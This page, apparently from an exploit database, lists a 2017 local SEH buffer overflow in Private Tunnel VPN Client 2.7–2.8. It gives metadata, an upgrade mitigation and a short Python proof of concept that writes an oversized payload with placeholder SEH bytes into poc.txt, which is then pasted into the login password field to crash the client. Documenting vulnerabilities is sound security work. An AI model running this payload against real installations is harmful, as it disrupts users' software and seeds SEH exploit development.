header-logo
Suggest Exploit
vendor:
Private Tunnel VPN Client
by:
Muhann4d
7,8
CVSS
HIGH
Local Buffer Overflow
119
CWE
Product Name: Private Tunnel VPN Client
Affected Version From: 2.7
Affected Version To: 2.8
Patch Exists: Yes
Related CWE: N/A
CPE: privatetunnel:privatetunnel_vpn_client
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7 SP1 32bit 64bit
2017

Private Tunnel VPN Client 2.8 – Local Buffer Overflow (SEH)

Private Tunnel VPN Client 2.8 is vulnerable to a local buffer overflow vulnerability. An attacker can exploit this vulnerability by running the exploit, copying the contents of poc.txt, pasting it in the password field and pressing Login.

Mitigation:

Upgrade to the latest version of Private Tunnel VPN Client.
Source

Exploit-DB raw data:

#!/usr/bin/python
# Exploit Title     : Private Tunnel VPN Client 2.8 - Local Buffer Overflow (SEH)
# Date              : 25/04/2017
# Exploit Author    : Muhann4d
# Vendor Homepage   : https://www.privatetunnel.com
# Software Link     : https://swupdate.openvpn.org/privatetunnel/client/privatetunnel-win-2.8.exe
# Affected Versions : 2.8 & 2.7   
# Category          : Denial of Service (DoS) Local
# Tested on OS      : Windows 7 SP1 32bit 64bit
# Proof of Concept  : run the exploit, copy the contents of poc.txt, paste it in the password field and press Login.


junkA = "\x41" * 1996
nSEH = "\x42" * 4
SEH = "\x43" * 4
junkD = "\x44" * 9000
f = open ("poc.txt", "w")
f.write(junkA + nSEH + SEH + junkD)
f.close()